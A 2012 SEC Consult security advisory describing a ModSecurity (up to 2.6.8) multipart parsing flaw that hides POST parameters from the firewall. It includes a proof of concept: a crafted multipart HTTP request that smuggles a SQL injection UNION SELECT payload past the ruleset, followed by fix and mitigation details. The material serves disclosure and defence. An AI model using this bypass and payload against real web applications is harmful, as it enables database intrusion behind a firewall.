SEC Consult SA-20121017-0 :: ModSecurity multipart/invalid part ruleset bypass

Type securityvulns
Reporter Securityvulns
Modified 2012-10-22T00:00:00


SEC Consult Vulnerability Lab Security Advisory < 20121017-0 >

          title: ModSecurity multipart/invalid part ruleset bypass
        product: ModSecurity

vulnerable version: <= 2.6.8 fixed version: 2.7.0 CVE number: - impact: Depends what you use it for homepage: found: 2012-10-12 by: Bernhard Mueller SEC Consult Vulnerability Lab =======================================================================

Vendor/product description:

ModSecurity for Apache is a web server plug-in for the Apache web server platform. This is the original, most mature and deployed ModSecurity module. This module is maintained by the Trustwave SpiderLabs Research Team.


Vulnerability overview/description:

Validation of POST parameters can be bypassed on Apache/PHP installations by sending specially formed multipart requests. A POST parameter's content can be hidden from ModSecurity by prepending an invalid part. This first part contains only a Content-Disposition header and has an additional carriage return inserted at the end of the line ([\r\r\n]). This is followed by a boundary in the next line and another Content-Disposition header with a filename. The request content looks like this (newlines are all \r\n except in line 2).

--A Content-Disposition: form-data; name="id"[\r][\r][\n] --A Content-Disposition: form-data; name="lol"; filename="x"

1 UNION SELECT 1,2,3,4,5,6,7,8,9,10--


ModSecurity skips what it believes to be an invalid first part and proceeds to parse the second part. This part is treated as a file and not checked against the ruleset.

PHP however treats the whole thing as a single part and processes only the first Content-Disposition header, ignoring the second one. In the opinion of PHP this request contains a POST parameter with the name specified in the first header.

Proof of concept:


<? echo $POST[xxx] ?>

POST request:

POST /wut.php HTTP/1.1 Content-Type: multipart/form-data; boundary=A Content-Length: 161

--A Content-Disposition: form-data; name="xxx"[\r][\r][\n] --A Content-Disposition: form-data; name="yyy"; filename="z"

1 UNION SELECT 1,2,3,4,5,6,7,8,9,10--



1 UNION SELECT 1,2,3,4,5,6,7,8,9,10--

(any change in the header should produce a 403)

Vulnerable / tested versions:

This works with ModSecurity up to version 2.6.8.

Vendor contact timeline:

2012-10-11: Contacted ModSecurity 2012-10-15: ModSecurity guys fixed it 2012-10-16: New ModSecurity release 2.7.0 2012-10-17: Public release of advisory


To mitigate this bypass method, upgrade to ModSecurity 2.7.0 and make sure that the MULTIPART_INVALID_PART flag is set in the multipart strict validation rule. Add the line:


to the SecRule MULTIPART_STRICT_ERROR in your ModSecurity configuration file.

Download is available at:

Advisory URL:

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EOF B. Mueller / October 2012